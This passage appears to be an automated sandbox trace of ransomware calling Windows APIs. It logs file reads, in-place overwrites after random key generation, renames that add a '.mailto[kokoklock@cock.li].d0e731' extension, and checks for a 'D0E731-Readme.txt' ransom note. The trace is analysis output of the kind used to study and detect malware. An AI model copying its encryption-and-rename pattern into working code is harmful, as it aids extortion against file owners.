[0086.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.732] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.732] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x55dda60*, lpNumberOfBytesWritten=0x2e23f8bc*=0x8, lpOverlapped=0x0) returned 1 [0086.732] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e23f8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x2e23f8d4*, lpNumberOfBytesWritten=0x2e23f8bc*=0x4, lpOverlapped=0x0) returned 1 [0086.732] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e23f8bc*=0x4, lpOverlapped=0x0) returned 1 [0086.732] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e23f8bc*=0x6c, lpOverlapped=0x0) returned 1 [0086.733] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2e23f8bc*=0x20, lpOverlapped=0x0) returned 1 [0086.733] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e23f8bc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e23f8bc*=0x4, lpOverlapped=0x0) returned 1 [0086.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda38) returned 1 [0086.733] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda60) returned 1 [0086.733] CloseHandle (hObject=0x3d0) returned 1 [0086.733] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0086.733] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" [0086.733] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.733] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.734] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.734] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.734] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.734] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.734] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.734] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.734] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7fe8) returned 1 [0086.734] RtlExitUserThread (Status=0x1) Thread: id = 1324 os_tid = 0x1268 [0086.735] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.735] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.735] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.736] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e2bf860 | out: lpFileSize=0x2e2bf860*=719) returned 1 [0086.736] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.736] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e2bf834, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x2e2bf834*, lpNumberOfBytesRead=0x2e2bf830*=0x4, lpOverlapped=0x0) returned 1 [0086.737] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.737] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda38 [0086.737] NtQuerySystemTime (in: CurrentTime=0x2e2bf80c | out: CurrentTime=0x2e2bf80c*=132121176446329479) returned 0x0 [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xaf5e5c35 [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x5376dd25 [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xa20321fc [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x9f6c0f4a [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x556e75ed [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xc59ba378 [0086.737] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x76038a78 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x5cae4265 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xd4cec161 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x7ab7801f [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xd4bed7e5 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x523806e8 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x4fc220fe [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x163bb962 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x7e7c65a3 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x62491aaf [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x31c3c4eb [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x766e7f6 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xd15c7eef [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xbdb35a61 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x2ea0e84e [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x1dc6bd3e [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xb4f2aa73 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xe8d8dbe8 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xf3d2f6e9 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xb62e9242 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x99d64ad3 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0xacfb6c21 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x60b01b71 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x64dc6f32 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x8a2132d7 [0086.738] RtlRandom (in: Seed=0x2e2bf818 | out: Seed=0x2e2bf818) returned 0x710b4c02 [0086.749] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cf, lpNumberOfBytesRead=0x2e2bf80c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e2bf80c*=0x2cf, lpOverlapped=0x0) returned 1 [0086.749] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2bf7d4 | out: lpNewFilePointer=0x0) returned 1 [0086.749] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cf, lpNumberOfBytesWritten=0x2e2bf808, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e2bf808*=0x2cf, lpOverlapped=0x0) returned 1 [0086.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddad8 [0086.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddad8) returned 1 [0086.749] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e2bf804, lpOverlapped=0x0 | out: lpBuffer=0x55ddab0*, lpNumberOfBytesWritten=0x2e2bf804*=0x20, lpOverlapped=0x0) returned 1 [0086.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.749] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.750] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e2bf830*=0x8, lpOverlapped=0x0) returned 1 [0086.750] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e2bf848*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x2e2bf848*, lpNumberOfBytesWritten=0x2e2bf830*=0x4, lpOverlapped=0x0) returned 1 [0086.750] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e2bf830*=0x4, lpOverlapped=0x0) returned 1 [0086.750] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e2bf830*=0x6c, lpOverlapped=0x0) returned 1 [0086.750] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2e2bf830*=0x20, lpOverlapped=0x0) returned 1 [0086.750] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e2bf830, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e2bf830*=0x4, lpOverlapped=0x0) returned 1 [0086.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda60) returned 1 [0086.750] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.750] CloseHandle (hObject=0x3d0) returned 1 [0086.750] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0086.750] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" [0086.750] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.751] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.751] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.751] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.751] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.752] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.752] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.752] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.752] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.752] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6fc8) returned 1 [0086.752] RtlExitUserThread (Status=0x1) Thread: id = 1325 os_tid = 0x12ac [0086.753] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.753] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.753] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.754] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e33fc30 | out: lpFileSize=0x2e33fc30*=721) returned 1 [0086.754] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.754] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e33fc04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e33fc00, lpOverlapped=0x0 | out: lpBuffer=0x2e33fc04*, lpNumberOfBytesRead=0x2e33fc00*=0x4, lpOverlapped=0x0) returned 1 [0086.755] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda60 [0086.755] NtQuerySystemTime (in: CurrentTime=0x2e33fbdc | out: CurrentTime=0x2e33fbdc*=132121176446485603) returned 0x0 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x6b6ebba2 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x7b9d9f22 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xda07172e [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xfbe9e739 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x9a0ff901 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xe9a25620 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xefa8d0fb [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x9e99d072 [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xd711860e [0086.755] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xa58abc2f [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xf74480e3 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x790a9d96 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x94ec4851 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x1e9f269a [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x14fd8486 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xb461c72c [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x96c513cc [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xde9f74b1 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xbc8125f5 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x9292d757 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x8e75e018 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xc2088f21 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x22cfa26c [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x49eb0ea1 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x1fe30b2f [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x28279056 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xf06dc28 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x668fdb70 [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x7efc554f [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xd78fe0ce [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0xd378711e [0086.756] RtlRandom (in: Seed=0x2e33fbe8 | out: Seed=0x2e33fbe8) returned 0x127370 [0086.766] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x2e33fbdc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e33fbdc*=0x2d1, lpOverlapped=0x0) returned 1 [0086.766] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e33fba4 | out: lpNewFilePointer=0x0) returned 1 [0086.766] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, 